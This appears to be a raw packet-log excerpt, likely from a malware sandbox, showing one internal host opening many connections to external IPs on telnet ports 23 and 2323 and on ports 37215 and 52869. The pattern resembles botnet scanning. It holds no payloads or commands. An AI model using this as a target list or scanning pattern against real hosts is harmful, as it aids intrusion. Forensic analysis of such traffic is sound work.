Dec 4, 2024 20:34:39.079102039 CET	37215	60275	41.36.130.108	192.168.2.14
Dec 4, 2024 20:34:39.079135895 CET	60275	37215	192.168.2.14	197.159.102.8
Dec 4, 2024 20:34:39.079142094 CET	60275	37215	192.168.2.14	41.36.130.108
Dec 4, 2024 20:34:39.079148054 CET	37215	60275	156.192.76.36	192.168.2.14
Dec 4, 2024 20:34:39.079266071 CET	37215	60275	197.106.88.198	192.168.2.14
Dec 4, 2024 20:34:39.079274893 CET	37215	60275	197.132.17.63	192.168.2.14
Dec 4, 2024 20:34:39.079296112 CET	37215	60275	197.160.74.81	192.168.2.14
Dec 4, 2024 20:34:39.079319954 CET	60275	37215	192.168.2.14	156.192.76.36
Dec 4, 2024 20:34:39.079329967 CET	60275	37215	192.168.2.14	197.160.74.81
Dec 4, 2024 20:34:39.079329967 CET	60275	37215	192.168.2.14	197.106.88.198
Dec 4, 2024 20:34:39.079336882 CET	60275	37215	192.168.2.14	197.132.17.63
Dec 4, 2024 20:34:39.079350948 CET	37215	60275	41.111.44.172	192.168.2.14
Dec 4, 2024 20:34:39.079391003 CET	60275	37215	192.168.2.14	41.111.44.172
Dec 4, 2024 20:34:39.079545975 CET	37215	34870	41.228.208.30	192.168.2.14
Dec 4, 2024 20:34:39.079586983 CET	34870	37215	192.168.2.14	41.228.208.30
Dec 4, 2024 20:34:39.079619884 CET	37215	47954	156.48.223.242	192.168.2.14
Dec 4, 2024 20:34:39.079654932 CET	47954	37215	192.168.2.14	156.48.223.242
Dec 4, 2024 20:34:39.079771996 CET	37215	56810	156.158.100.133	192.168.2.14
Dec 4, 2024 20:34:39.079813957 CET	56810	37215	192.168.2.14	156.158.100.133
Dec 4, 2024 20:34:39.079886913 CET	37215	59100	41.106.205.46	192.168.2.14
Dec 4, 2024 20:34:39.079929113 CET	59100	37215	192.168.2.14	41.106.205.46
Dec 4, 2024 20:34:39.080024958 CET	37215	40210	41.133.115.99	192.168.2.14
Dec 4, 2024 20:34:39.080063105 CET	40210	37215	192.168.2.14	41.133.115.99
Dec 4, 2024 20:34:39.080169916 CET	37215	50672	156.84.190.194	192.168.2.14
Dec 4, 2024 20:34:39.080209017 CET	50672	37215	192.168.2.14	156.84.190.194
Dec 4, 2024 20:34:39.080542088 CET	37215	35414	197.31.193.147	192.168.2.14
Dec 4, 2024 20:34:39.080581903 CET	35414	37215	192.168.2.14	197.31.193.147
Dec 4, 2024 20:34:39.080878973 CET	37215	53624	41.155.54.83	192.168.2.14
Dec 4, 2024 20:34:39.080888987 CET	37215	40674	41.9.41.114	192.168.2.14
Dec 4, 2024 20:34:39.080929995 CET	53624	37215	192.168.2.14	41.155.54.83
Dec 4, 2024 20:34:39.080930948 CET	40674	37215	192.168.2.14	41.9.41.114
Dec 4, 2024 20:34:39.094218969 CET	53124	23	192.168.2.14	35.216.117.155
Dec 4, 2024 20:34:39.094219923 CET	50224	23	192.168.2.14	102.3.151.72
Dec 4, 2024 20:34:39.094219923 CET	60462	23	192.168.2.14	77.99.46.89
Dec 4, 2024 20:34:39.094219923 CET	43042	23	192.168.2.14	17.12.167.168
Dec 4, 2024 20:34:39.094223022 CET	53680	23	192.168.2.14	121.150.156.158
Dec 4, 2024 20:34:39.094225883 CET	35014	23	192.168.2.14	47.5.158.109
Dec 4, 2024 20:34:39.094230890 CET	46006	23	192.168.2.14	60.226.8.43
Dec 4, 2024 20:34:39.094233036 CET	59708	2323	192.168.2.14	169.208.138.94
Dec 4, 2024 20:34:39.094239950 CET	58646	23	192.168.2.14	38.115.175.5
Dec 4, 2024 20:34:39.094242096 CET	56618	23	192.168.2.14	212.154.185.240
Dec 4, 2024 20:34:39.094244957 CET	57208	23	192.168.2.14	105.187.34.36
Dec 4, 2024 20:34:39.094244957 CET	43522	23	192.168.2.14	155.187.88.149
Dec 4, 2024 20:34:39.094244957 CET	45350	2323	192.168.2.14	194.4.243.162
Dec 4, 2024 20:34:39.094244957 CET	54572	23	192.168.2.14	213.0.131.135
Dec 4, 2024 20:34:39.094254971 CET	56506	23	192.168.2.14	123.61.46.196
Dec 4, 2024 20:34:39.094261885 CET	57026	23	192.168.2.14	83.192.10.125
Dec 4, 2024 20:34:39.094261885 CET	54098	23	192.168.2.14	156.11.134.93
Dec 4, 2024 20:34:39.094274998 CET	47512	23	192.168.2.14	209.119.230.157
Dec 4, 2024 20:34:39.094275951 CET	42334	23	192.168.2.14	122.16.192.169
Dec 4, 2024 20:34:39.094276905 CET	49566	23	192.168.2.14	112.165.201.191
Dec 4, 2024 20:34:39.094275951 CET	57436	23	192.168.2.14	135.200.254.57
Dec 4, 2024 20:34:39.094275951 CET	51024	23	192.168.2.14	221.96.144.84
Dec 4, 2024 20:34:39.094281912 CET	32968	23	192.168.2.14	90.44.78.232
Dec 4, 2024 20:34:39.094294071 CET	57208	23	192.168.2.14	68.147.187.167
Dec 4, 2024 20:34:39.094295025 CET	48786	2323	192.168.2.14	109.206.39.255
Dec 4, 2024 20:34:39.094297886 CET	52858	23	192.168.2.14	202.42.227.184
Dec 4, 2024 20:34:39.094297886 CET	40956	23	192.168.2.14	166.181.73.92
Dec 4, 2024 20:34:39.094297886 CET	46540	23	192.168.2.14	102.95.13.165
Dec 4, 2024 20:34:39.109127045 CET	37215	38744	197.52.167.29	192.168.2.14
Dec 4, 2024 20:34:39.109143019 CET	37215	56966	156.144.78.212	192.168.2.14
Dec 4, 2024 20:34:39.109277964 CET	37215	47954	156.48.223.242	192.168.2.14
Dec 4, 2024 20:34:39.109298944 CET	37215	47954	156.48.223.242	192.168.2.14
Dec 4, 2024 20:34:39.109317064 CET	37215	34870	41.228.208.30	192.168.2.14
Dec 4, 2024 20:34:39.109536886 CET	37215	34870	41.228.208.30	192.168.2.14
Dec 4, 2024 20:34:39.109622955 CET	37215	56810	156.158.100.133	192.168.2.14
Dec 4, 2024 20:34:39.109642982 CET	37215	55366	156.102.41.67	192.168.2.14
Dec 4, 2024 20:34:39.109680891 CET	55366	37215	192.168.2.14	156.102.41.67
Dec 4, 2024 20:34:39.109683037 CET	37215	56810	156.158.100.133	192.168.2.14
Dec 4, 2024 20:34:39.109739065 CET	37215	40210	41.133.115.99	192.168.2.14
Dec 4, 2024 20:34:39.110040903 CET	37215	40210	41.133.115.99	192.168.2.14
Dec 4, 2024 20:34:39.110049963 CET	37215	50672	156.84.190.194	192.168.2.14
Dec 4, 2024 20:34:39.110083103 CET	37215	50672	156.84.190.194	192.168.2.14
Dec 4, 2024 20:34:39.110131025 CET	37215	59100	41.106.205.46	192.168.2.14
Dec 4, 2024 20:34:39.110435963 CET	37215	59100	41.106.205.46	192.168.2.14
Dec 4, 2024 20:34:39.110483885 CET	37215	59626	41.106.205.46	192.168.2.14
Dec 4, 2024 20:34:39.110493898 CET	37215	53624	41.155.54.83	192.168.2.14
Dec 4, 2024 20:34:39.110510111 CET	37215	53624	41.155.54.83	192.168.2.14
Dec 4, 2024 20:34:39.110524893 CET	37215	35414	197.31.193.147	192.168.2.14
Dec 4, 2024 20:34:39.110526085 CET	59626	37215	192.168.2.14	41.106.205.46
Dec 4, 2024 20:34:39.110563040 CET	59626	37215	192.168.2.14	41.106.205.46
Dec 4, 2024 20:34:39.110723972 CET	37215	35414	197.31.193.147	192.168.2.14
Dec 4, 2024 20:34:39.110796928 CET	37215	40674	41.9.41.114	192.168.2.14
Dec 4, 2024 20:34:39.110805988 CET	37215	40674	41.9.41.114	192.168.2.14
Dec 4, 2024 20:34:39.110934973 CET	54182	37215	192.168.2.14	197.159.102.8
Dec 4, 2024 20:34:39.111489058 CET	58026	37215	192.168.2.14	41.36.130.108
Dec 4, 2024 20:34:39.112040997 CET	56396	37215	192.168.2.14	156.192.76.36
Dec 4, 2024 20:34:39.112586021 CET	57304	37215	192.168.2.14	197.106.88.198
Dec 4, 2024 20:34:39.113121986 CET	54016	37215	192.168.2.14	197.160.74.81
Dec 4, 2024 20:34:39.113596916 CET	23	47262	37.140.36.213	192.168.2.14
Dec 4, 2024 20:34:39.113662004 CET	47262	23	192.168.2.14	37.140.36.213
Dec 4, 2024 20:34:39.113670111 CET	36346	37215	192.168.2.14	197.132.17.63
Dec 4, 2024 20:34:39.114336967 CET	47320	23	192.168.2.14	37.140.36.213
Dec 4, 2024 20:34:39.114650011 CET	23	54254	157.198.4.85	192.168.2.14
Dec 4, 2024 20:34:39.114694118 CET	54254	23	192.168.2.14	157.198.4.85
Dec 4, 2024 20:34:39.114799976 CET	34112	37215	192.168.2.14	41.111.44.172
Dec 4, 2024 20:34:39.114850044 CET	23	59634	194.0.153.139	192.168.2.14
Dec 4, 2024 20:34:39.114990950 CET	59634	23	192.168.2.14	194.0.153.139
Dec 4, 2024 20:34:39.115248919 CET	2323	53738	67.97.243.94	192.168.2.14
Dec 4, 2024 20:34:39.115295887 CET	53738	2323	192.168.2.14	67.97.243.94
Dec 4, 2024 20:34:39.115614891 CET	59694	23	192.168.2.14	194.0.153.139
Dec 4, 2024 20:34:39.115654945 CET	23	58142	119.253.76.176	192.168.2.14
Dec 4, 2024 20:34:39.115693092 CET	58142	23	192.168.2.14	119.253.76.176
Dec 4, 2024 20:34:39.152575016 CET	37215	56966	156.144.78.212	192.168.2.14
Dec 4, 2024 20:34:39.152585030 CET	37215	38744	197.52.167.29	192.168.2.14
Dec 4, 2024 20:34:39.170224905 CET	23	51088	38.185.149.251	192.168.2.14
Dec 4, 2024 20:34:39.170316935 CET	51088	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:39.170730114 CET	51142	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:39.190212011 CET	34674	52869	192.168.2.14	197.22.77.21
Dec 4, 2024 20:34:39.190217018 CET	38024	52869	192.168.2.14	197.203.229.170
Dec 4, 2024 20:34:39.190222025 CET	58166	52869	192.168.2.14	156.215.44.171
Dec 4, 2024 20:34:39.200894117 CET	23	59076	178.184.24.80	192.168.2.14
Dec 4, 2024 20:34:39.200903893 CET	23	46664	53.81.184.127	192.168.2.14
Dec 4, 2024 20:34:39.200920105 CET	23	40510	176.98.9.17	192.168.2.14
Dec 4, 2024 20:34:39.200928926 CET	2323	36994	145.108.93.61	192.168.2.14
Dec 4, 2024 20:34:39.200937033 CET	23	34172	121.31.44.183	192.168.2.14
Dec 4, 2024 20:34:39.200942039 CET	59076	23	192.168.2.14	178.184.24.80
Dec 4, 2024 20:34:39.200946093 CET	23	39968	200.32.151.196	192.168.2.14
Dec 4, 2024 20:34:39.200953007 CET	46664	23	192.168.2.14	53.81.184.127
Dec 4, 2024 20:34:39.200964928 CET	40510	23	192.168.2.14	176.98.9.17
Dec 4, 2024 20:34:39.200968981 CET	36994	2323	192.168.2.14	145.108.93.61
Dec 4, 2024 20:34:39.200968981 CET	34172	23	192.168.2.14	121.31.44.183
Dec 4, 2024 20:34:39.200978041 CET	39968	23	192.168.2.14	200.32.151.196
Dec 4, 2024 20:34:39.201328039 CET	37215	34870	41.228.208.30	192.168.2.14
Dec 4, 2024 20:34:39.201375961 CET	37215	47954	156.48.223.242	192.168.2.14
Dec 4, 2024 20:34:39.201386929 CET	37215	56810	156.158.100.133	192.168.2.14
Dec 4, 2024 20:34:39.201394081 CET	37215	59100	41.106.205.46	192.168.2.14
Dec 4, 2024 20:34:39.201533079 CET	37215	40210	41.133.115.99	192.168.2.14
Dec 4, 2024 20:34:39.201545954 CET	37215	50672	156.84.190.194	192.168.2.14
Dec 4, 2024 20:34:39.229898930 CET	37215	35414	197.31.193.147	192.168.2.14
Dec 4, 2024 20:34:39.230103016 CET	37215	53624	41.155.54.83	192.168.2.14
Dec 4, 2024 20:34:39.230115891 CET	37215	40674	41.9.41.114	192.168.2.14
Dec 4, 2024 20:34:39.230135918 CET	23	53124	35.216.117.155	192.168.2.14
Dec 4, 2024 20:34:39.230146885 CET	23	53680	121.150.156.158	192.168.2.14
Dec 4, 2024 20:34:39.230154991 CET	23	50224	102.3.151.72	192.168.2.14
Dec 4, 2024 20:34:39.230164051 CET	23	60462	77.99.46.89	192.168.2.14
Dec 4, 2024 20:34:39.230184078 CET	53124	23	192.168.2.14	35.216.117.155
Dec 4, 2024 20:34:39.230186939 CET	53680	23	192.168.2.14	121.150.156.158
Dec 4, 2024 20:34:39.230190039 CET	50224	23	192.168.2.14	102.3.151.72
Dec 4, 2024 20:34:39.230206013 CET	60462	23	192.168.2.14	77.99.46.89
Dec 4, 2024 20:34:39.230976105 CET	37215	59626	41.106.205.46	192.168.2.14
Dec 4, 2024 20:34:39.230986118 CET	37215	54182	197.159.102.8	192.168.2.14
Dec 4, 2024 20:34:39.231026888 CET	54182	37215	192.168.2.14	197.159.102.8
Dec 4, 2024 20:34:39.231101990 CET	54182	37215	192.168.2.14	197.159.102.8
Dec 4, 2024 20:34:39.231101990 CET	54182	37215	192.168.2.14	197.159.102.8
Dec 4, 2024 20:34:39.231259108 CET	37215	58026	41.36.130.108	192.168.2.14
Dec 4, 2024 20:34:39.231300116 CET	58026	37215	192.168.2.14	41.36.130.108
Dec 4, 2024 20:34:39.231404066 CET	54202	37215	192.168.2.14	197.159.102.8
Dec 4, 2024 20:34:39.231751919 CET	58026	37215	192.168.2.14	41.36.130.108
Dec 4, 2024 20:34:39.231751919 CET	58026	37215	192.168.2.14	41.36.130.108
Dec 4, 2024 20:34:39.232009888 CET	58046	37215	192.168.2.14	41.36.130.108
Dec 4, 2024 20:34:39.232372999 CET	37215	59626	41.106.205.46	192.168.2.14
Dec 4, 2024 20:34:39.232415915 CET	59626	37215	192.168.2.14	41.106.205.46
Dec 4, 2024 20:34:39.233372927 CET	23	47262	37.140.36.213	192.168.2.14
Dec 4, 2024 20:34:39.235079050 CET	23	59634	194.0.153.139	192.168.2.14
Dec 4, 2024 20:34:39.235157013 CET	23	54254	157.198.4.85	192.168.2.14
Dec 4, 2024 20:34:39.235214949 CET	54254	23	192.168.2.14	157.198.4.85
Dec 4, 2024 20:34:39.235507965 CET	54290	23	192.168.2.14	157.198.4.85
Dec 4, 2024 20:34:39.236241102 CET	2323	53738	67.97.243.94	192.168.2.14
Dec 4, 2024 20:34:39.236300945 CET	53738	2323	192.168.2.14	67.97.243.94
Dec 4, 2024 20:34:39.236596107 CET	53774	2323	192.168.2.14	67.97.243.94
Dec 4, 2024 20:34:39.237485886 CET	23	58142	119.253.76.176	192.168.2.14
Dec 4, 2024 20:34:39.237541914 CET	58142	23	192.168.2.14	119.253.76.176
Dec 4, 2024 20:34:39.237839937 CET	58178	23	192.168.2.14	119.253.76.176
Dec 4, 2024 20:34:39.291448116 CET	23	51088	38.185.149.251	192.168.2.14
Dec 4, 2024 20:34:39.291764021 CET	23	51142	38.185.149.251	192.168.2.14
Dec 4, 2024 20:34:39.291827917 CET	51142	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:39.310189009 CET	52869	34674	197.22.77.21	192.168.2.14
Dec 4, 2024 20:34:39.310271978 CET	52869	38024	197.203.229.170	192.168.2.14
Dec 4, 2024 20:34:39.310317039 CET	52869	58166	156.215.44.171	192.168.2.14
Dec 4, 2024 20:34:39.310339928 CET	38024	52869	192.168.2.14	197.203.229.170
Dec 4, 2024 20:34:39.310348034 CET	34674	52869	192.168.2.14	197.22.77.21
Dec 4, 2024 20:34:39.310349941 CET	58166	52869	192.168.2.14	156.215.44.171
Dec 4, 2024 20:34:39.310393095 CET	60019	52869	192.168.2.14	197.206.102.161
Dec 4, 2024 20:34:39.310396910 CET	60019	52869	192.168.2.14	156.11.147.169
Dec 4, 2024 20:34:39.310410023 CET	60019	52869	192.168.2.14	197.17.237.95
Dec 4, 2024 20:34:39.310410023 CET	60019	52869	192.168.2.14	41.136.57.148
Dec 4, 2024 20:34:39.310420036 CET	60019	52869	192.168.2.14	197.124.112.162
Dec 4, 2024 20:34:39.310425043 CET	60019	52869	192.168.2.14	41.199.104.5
Dec 4, 2024 20:34:39.310425043 CET	60019	52869	192.168.2.14	41.75.70.93
Dec 4, 2024 20:34:39.310429096 CET	60019	52869	192.168.2.14	197.225.187.90
Dec 4, 2024 20:34:39.310436964 CET	60019	52869	192.168.2.14	156.38.80.18
Dec 4, 2024 20:34:39.310447931 CET	60019	52869	192.168.2.14	197.235.195.195
Dec 4, 2024 20:34:39.310450077 CET	60019	52869	192.168.2.14	156.206.130.219
Dec 4, 2024 20:34:39.310465097 CET	60019	52869	192.168.2.14	197.98.23.109
Dec 4, 2024 20:34:39.310467005 CET	60019	52869	192.168.2.14	197.232.20.115
Dec 4, 2024 20:34:39.310467005 CET	60019	52869	192.168.2.14	156.233.17.176
Dec 4, 2024 20:34:39.310467958 CET	60019	52869	192.168.2.14	156.214.2.179
Dec 4, 2024 20:34:39.310472965 CET	60019	52869	192.168.2.14	197.245.211.216
Dec 4, 2024 20:34:39.310483932 CET	60019	52869	192.168.2.14	41.165.1.39
Dec 4, 2024 20:34:39.310499907 CET	60019	52869	192.168.2.14	197.133.63.183
Dec 4, 2024 20:34:39.310501099 CET	60019	52869	192.168.2.14	41.150.221.115
Dec 4, 2024 20:34:39.310504913 CET	60019	52869	192.168.2.14	197.240.19.48
Dec 4, 2024 20:34:39.310504913 CET	60019	52869	192.168.2.14	156.55.43.44
Dec 4, 2024 20:34:39.310504913 CET	60019	52869	192.168.2.14	41.39.122.79
Dec 4, 2024 20:34:39.310507059 CET	60019	52869	192.168.2.14	197.161.224.13
Dec 4, 2024 20:34:39.310507059 CET	60019	52869	192.168.2.14	197.85.98.137
Dec 4, 2024 20:34:39.310507059 CET	60019	52869	192.168.2.14	156.128.41.175
Dec 4, 2024 20:34:39.310504913 CET	60019	52869	192.168.2.14	197.240.69.108
Dec 4, 2024 20:34:39.310504913 CET	60019	52869	192.168.2.14	156.48.31.155
Dec 4, 2024 20:34:39.310513020 CET	60019	52869	192.168.2.14	197.181.52.21
Dec 4, 2024 20:34:39.310513973 CET	60019	52869	192.168.2.14	197.172.163.199
Dec 4, 2024 20:34:39.310514927 CET	60019	52869	192.168.2.14	197.137.90.96
Dec 4, 2024 20:34:39.310518980 CET	60019	52869	192.168.2.14	41.13.163.183
Dec 4, 2024 20:34:39.310518980 CET	60019	52869	192.168.2.14	197.55.132.185
Dec 4, 2024 20:34:39.310519934 CET	60019	52869	192.168.2.14	41.224.72.138
Dec 4, 2024 20:34:39.310519934 CET	60019	52869	192.168.2.14	41.156.132.70
Dec 4, 2024 20:34:39.310525894 CET	60019	52869	192.168.2.14	197.6.170.169
Dec 4, 2024 20:34:39.310527086 CET	60019	52869	192.168.2.14	41.70.24.205
Dec 4, 2024 20:34:39.310527086 CET	60019	52869	192.168.2.14	41.206.185.250
Dec 4, 2024 20:34:39.310528040 CET	60019	52869	192.168.2.14	197.112.24.149
Dec 4, 2024 20:34:39.310528040 CET	60019	52869	192.168.2.14	197.68.24.115
Dec 4, 2024 20:34:39.310528040 CET	60019	52869	192.168.2.14	197.111.33.190
Dec 4, 2024 20:34:39.310528994 CET	60019	52869	192.168.2.14	41.223.182.67
Dec 4, 2024 20:34:39.310532093 CET	60019	52869	192.168.2.14	156.22.220.45
Dec 4, 2024 20:34:39.310528040 CET	60019	52869	192.168.2.14	156.120.47.44
Dec 4, 2024 20:34:39.310534954 CET	60019	52869	192.168.2.14	197.210.42.231
Dec 4, 2024 20:34:39.310535908 CET	60019	52869	192.168.2.14	41.149.152.186
Dec 4, 2024 20:34:39.310535908 CET	60019	52869	192.168.2.14	41.93.213.233
Dec 4, 2024 20:34:39.310535908 CET	60019	52869	192.168.2.14	41.33.28.21
Dec 4, 2024 20:34:39.310535908 CET	60019	52869	192.168.2.14	197.106.12.178
Dec 4, 2024 20:34:39.310535908 CET	60019	52869	192.168.2.14	156.245.245.234
Dec 4, 2024 20:34:39.310540915 CET	60019	52869	192.168.2.14	41.251.103.220
Dec 4, 2024 20:34:39.310540915 CET	60019	52869	192.168.2.14	41.165.136.189
Dec 4, 2024 20:34:39.310545921 CET	60019	52869	192.168.2.14	197.39.253.227
Dec 4, 2024 20:34:39.310548067 CET	60019	52869	192.168.2.14	41.48.32.151
Dec 4, 2024 20:34:39.310548067 CET	60019	52869	192.168.2.14	156.61.87.202
Dec 4, 2024 20:34:39.310549974 CET	60019	52869	192.168.2.14	41.61.231.109
Dec 4, 2024 20:34:39.310551882 CET	60019	52869	192.168.2.14	41.123.14.158
Dec 4, 2024 20:34:39.310554028 CET	60019	52869	192.168.2.14	156.196.145.27
Dec 4, 2024 20:34:39.310554028 CET	60019	52869	192.168.2.14	156.149.185.251
Dec 4, 2024 20:34:39.310554028 CET	60019	52869	192.168.2.14	41.176.17.23
Dec 4, 2024 20:34:39.310559988 CET	60019	52869	192.168.2.14	156.123.127.92
Dec 4, 2024 20:34:39.310561895 CET	60019	52869	192.168.2.14	197.179.213.18
Dec 4, 2024 20:34:39.310570955 CET	60019	52869	192.168.2.14	156.211.169.169
Dec 4, 2024 20:34:39.310574055 CET	60019	52869	192.168.2.14	197.164.198.236
Dec 4, 2024 20:34:39.310579062 CET	60019	52869	192.168.2.14	41.43.128.81
Dec 4, 2024 20:34:39.310585022 CET	60019	52869	192.168.2.14	41.124.183.224
Dec 4, 2024 20:34:39.310587883 CET	60019	52869	192.168.2.14	156.231.255.18
Dec 4, 2024 20:34:39.310596943 CET	60019	52869	192.168.2.14	197.56.15.31
Dec 4, 2024 20:34:39.310611963 CET	60019	52869	192.168.2.14	197.149.75.58
Dec 4, 2024 20:34:39.310612917 CET	60019	52869	192.168.2.14	156.183.8.134
Dec 4, 2024 20:34:39.310612917 CET	60019	52869	192.168.2.14	197.181.123.78
Dec 4, 2024 20:34:39.310615063 CET	60019	52869	192.168.2.14	197.104.34.38
Dec 4, 2024 20:34:39.310615063 CET	60019	52869	192.168.2.14	197.175.86.111
Dec 4, 2024 20:34:39.310621977 CET	60019	52869	192.168.2.14	41.66.118.191
Dec 4, 2024 20:34:39.310636997 CET	60019	52869	192.168.2.14	156.196.60.57
Dec 4, 2024 20:34:39.310641050 CET	60019	52869	192.168.2.14	41.123.183.172
Dec 4, 2024 20:34:39.310642958 CET	60019	52869	192.168.2.14	156.211.59.18
Dec 4, 2024 20:34:39.310651064 CET	60019	52869	192.168.2.14	156.26.52.69
Dec 4, 2024 20:34:39.310651064 CET	60019	52869	192.168.2.14	197.225.38.48
Dec 4, 2024 20:34:39.310656071 CET	60019	52869	192.168.2.14	41.186.19.204
Dec 4, 2024 20:34:39.310659885 CET	60019	52869	192.168.2.14	197.196.236.40
Dec 4, 2024 20:34:39.310668945 CET	60019	52869	192.168.2.14	197.234.254.138
Dec 4, 2024 20:34:39.310676098 CET	60019	52869	192.168.2.14	156.46.222.110
Dec 4, 2024 20:34:39.310681105 CET	60019	52869	192.168.2.14	197.146.233.220
Dec 4, 2024 20:34:39.310684919 CET	60019	52869	192.168.2.14	156.223.228.252
Dec 4, 2024 20:34:39.310684919 CET	60019	52869	192.168.2.14	156.43.7.57
Dec 4, 2024 20:34:39.310697079 CET	60019	52869	192.168.2.14	197.102.218.194
Dec 4, 2024 20:34:39.310697079 CET	60019	52869	192.168.2.14	41.25.248.3
Dec 4, 2024 20:34:39.310703993 CET	60019	52869	192.168.2.14	197.94.109.18
Dec 4, 2024 20:34:39.310703993 CET	60019	52869	192.168.2.14	197.13.38.52
Dec 4, 2024 20:34:39.310714960 CET	60019	52869	192.168.2.14	156.158.112.203
Dec 4, 2024 20:34:39.310722113 CET	60019	52869	192.168.2.14	156.229.230.130
Dec 4, 2024 20:34:39.310724020 CET	60019	52869	192.168.2.14	197.48.60.251
Dec 4, 2024 20:34:39.310731888 CET	60019	52869	192.168.2.14	197.249.6.138
Dec 4, 2024 20:34:39.310738087 CET	60019	52869	192.168.2.14	156.161.18.192
Dec 4, 2024 20:34:39.310750961 CET	60019	52869	192.168.2.14	156.114.215.41
Dec 4, 2024 20:34:39.310750961 CET	60019	52869	192.168.2.14	156.60.233.219
Dec 4, 2024 20:34:39.310765982 CET	60019	52869	192.168.2.14	156.218.123.236
Dec 4, 2024 20:34:39.310771942 CET	60019	52869	192.168.2.14	156.130.165.237
Dec 4, 2024 20:34:39.310775995 CET	60019	52869	192.168.2.14	41.46.65.231
Dec 4, 2024 20:34:39.310780048 CET	60019	52869	192.168.2.14	197.152.103.153
Dec 4, 2024 20:34:39.310780048 CET	60019	52869	192.168.2.14	41.40.148.5
Dec 4, 2024 20:34:39.310781002 CET	60019	52869	192.168.2.14	156.251.246.143
Dec 4, 2024 20:34:39.310791016 CET	60019	52869	192.168.2.14	156.122.112.14
Dec 4, 2024 20:34:39.310791969 CET	60019	52869	192.168.2.14	156.123.127.59
Dec 4, 2024 20:34:39.310803890 CET	60019	52869	192.168.2.14	197.169.62.131
Dec 4, 2024 20:34:39.310806990 CET	60019	52869	192.168.2.14	197.99.42.7
Dec 4, 2024 20:34:39.310812950 CET	60019	52869	192.168.2.14	156.191.185.193
Dec 4, 2024 20:34:39.310813904 CET	60019	52869	192.168.2.14	41.193.241.106
Dec 4, 2024 20:34:39.310831070 CET	60019	52869	192.168.2.14	197.149.86.38
Dec 4, 2024 20:34:39.310834885 CET	60019	52869	192.168.2.14	156.177.111.246
Dec 4, 2024 20:34:39.310834885 CET	60019	52869	192.168.2.14	41.126.40.227
Dec 4, 2024 20:34:39.310838938 CET	60019	52869	192.168.2.14	197.254.108.245
Dec 4, 2024 20:34:39.310842037 CET	60019	52869	192.168.2.14	156.232.142.16
Dec 4, 2024 20:34:39.310853004 CET	60019	52869	192.168.2.14	41.246.214.204
Dec 4, 2024 20:34:39.310853958 CET	60019	52869	192.168.2.14	156.87.172.5
Dec 4, 2024 20:34:39.310863018 CET	60019	52869	192.168.2.14	156.149.174.117
Dec 4, 2024 20:34:39.310872078 CET	60019	52869	192.168.2.14	197.46.252.127
Dec 4, 2024 20:34:39.310875893 CET	60019	52869	192.168.2.14	156.42.127.251
Dec 4, 2024 20:34:39.310879946 CET	60019	52869	192.168.2.14	41.0.179.33
Dec 4, 2024 20:34:39.310879946 CET	60019	52869	192.168.2.14	197.168.86.150
Dec 4, 2024 20:34:39.310895920 CET	60019	52869	192.168.2.14	197.173.133.55
Dec 4, 2024 20:34:39.310904026 CET	60019	52869	192.168.2.14	197.202.8.103
Dec 4, 2024 20:34:39.310915947 CET	60019	52869	192.168.2.14	156.62.1.229
Dec 4, 2024 20:34:39.310916901 CET	60019	52869	192.168.2.14	156.219.105.1
Dec 4, 2024 20:34:39.310916901 CET	60019	52869	192.168.2.14	41.159.35.148
Dec 4, 2024 20:34:39.310916901 CET	60019	52869	192.168.2.14	197.91.245.177
Dec 4, 2024 20:34:39.310916901 CET	60019	52869	192.168.2.14	156.158.248.80
Dec 4, 2024 20:34:39.310916901 CET	60019	52869	192.168.2.14	156.246.66.28
Dec 4, 2024 20:34:39.310925007 CET	60019	52869	192.168.2.14	41.146.177.124
Dec 4, 2024 20:34:39.310925007 CET	60019	52869	192.168.2.14	156.144.122.253
Dec 4, 2024 20:34:39.310925007 CET	60019	52869	192.168.2.14	197.252.111.196
Dec 4, 2024 20:34:39.310926914 CET	60019	52869	192.168.2.14	197.64.56.112
Dec 4, 2024 20:34:39.310929060 CET	60019	52869	192.168.2.14	197.44.105.205
Dec 4, 2024 20:34:39.310946941 CET	60019	52869	192.168.2.14	41.29.174.104
Dec 4, 2024 20:34:39.310946941 CET	60019	52869	192.168.2.14	156.50.104.189
Dec 4, 2024 20:34:39.310950994 CET	60019	52869	192.168.2.14	197.62.17.77
Dec 4, 2024 20:34:39.310952902 CET	60019	52869	192.168.2.14	41.110.197.52
Dec 4, 2024 20:34:39.310961008 CET	60019	52869	192.168.2.14	156.144.152.191
Dec 4, 2024 20:34:39.310969114 CET	60019	52869	192.168.2.14	41.82.190.13
Dec 4, 2024 20:34:39.310971975 CET	60019	52869	192.168.2.14	156.149.149.201
Dec 4, 2024 20:34:39.310975075 CET	60019	52869	192.168.2.14	156.148.50.217
Dec 4, 2024 20:34:39.310976028 CET	60019	52869	192.168.2.14	41.159.52.69
Dec 4, 2024 20:34:39.310976028 CET	60019	52869	192.168.2.14	41.18.99.181
Dec 4, 2024 20:34:39.310992002 CET	60019	52869	192.168.2.14	41.94.3.229
Dec 4, 2024 20:34:39.310997963 CET	60019	52869	192.168.2.14	156.180.132.34
Dec 4, 2024 20:34:39.310997963 CET	60019	52869	192.168.2.14	41.130.5.31
Dec 4, 2024 20:34:39.311000109 CET	60019	52869	192.168.2.14	197.14.138.203
Dec 4, 2024 20:34:39.311000109 CET	60019	52869	192.168.2.14	197.91.31.67
Dec 4, 2024 20:34:39.311006069 CET	60019	52869	192.168.2.14	156.133.67.221
Dec 4, 2024 20:34:39.311006069 CET	60019	52869	192.168.2.14	156.206.200.171
Dec 4, 2024 20:34:39.311013937 CET	60019	52869	192.168.2.14	41.92.250.233
Dec 4, 2024 20:34:39.311014891 CET	60019	52869	192.168.2.14	156.237.200.42
Dec 4, 2024 20:34:39.311013937 CET	60019	52869	192.168.2.14	197.10.186.56
Dec 4, 2024 20:34:39.311014891 CET	60019	52869	192.168.2.14	197.90.136.176
Dec 4, 2024 20:34:39.311013937 CET	60019	52869	192.168.2.14	156.63.225.161
Dec 4, 2024 20:34:39.311014891 CET	60019	52869	192.168.2.14	156.223.73.251
Dec 4, 2024 20:34:39.311013937 CET	60019	52869	192.168.2.14	156.203.135.214
Dec 4, 2024 20:34:39.311013937 CET	60019	52869	192.168.2.14	197.212.136.221
Dec 4, 2024 20:34:39.311022043 CET	60019	52869	192.168.2.14	41.41.3.144
Dec 4, 2024 20:34:39.311022043 CET	60019	52869	192.168.2.14	197.102.248.119
Dec 4, 2024 20:34:39.311145067 CET	34674	52869	192.168.2.14	197.22.77.21
